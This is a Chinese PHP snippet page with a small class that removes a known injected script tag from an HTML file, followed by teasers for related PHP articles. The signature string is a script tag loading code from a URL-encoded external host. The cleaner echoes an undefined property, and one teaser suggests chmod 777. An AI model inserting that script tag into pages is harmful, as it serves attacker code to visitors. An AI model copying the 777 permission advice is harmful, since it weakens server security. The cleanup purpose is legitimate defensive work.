php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

基于PHP Socket配置以及实例的详细介绍

基于PHP Socket配置以及实例的详细介绍

2个php测试文件server.php复制代码 代码如下:<?php     //phpinfo();//确保在连接客户端时不会超时set_...

centos下file_put_contents()无法写入文件的原因及解决方法

centos下file_put_contents()无法写入文件的原因是没有文件夹权限 直接修改目标文件夹/文件 # chmod 777 文件夹名称 以上这篇centos下file_pu...

php运行报错Call to undefined function curl_init()的最新解决方法

之前网上的解决方法如下: 1、在php.ini中开启curl扩展 2、将php目录下的libeay32.dll、ssleay32.dll、php5ts.dll拷贝到c:\windows\...

解析php安全性问题中的:Null 字符问题

由于 PHP 的文件系统操作是基于 C 语言的函数的,所以它可能会以您意想不到的方式处理 Null 字符。 Null字符在 C 语言中用于标识字符串结束,一个完整的字符串是从其开头到遇见...

PHP7正式版测试,性能惊艳!

PHP7正式版测试,性能惊艳!

我们今天就来看一下PHP 7正式版的算法和 wordpress 应用在其上的性能表现。 PHP7 的安装,真是非常地向下兼容,下载,解压,把之前的配置命令用上,一路回车下去,毫无违和感。...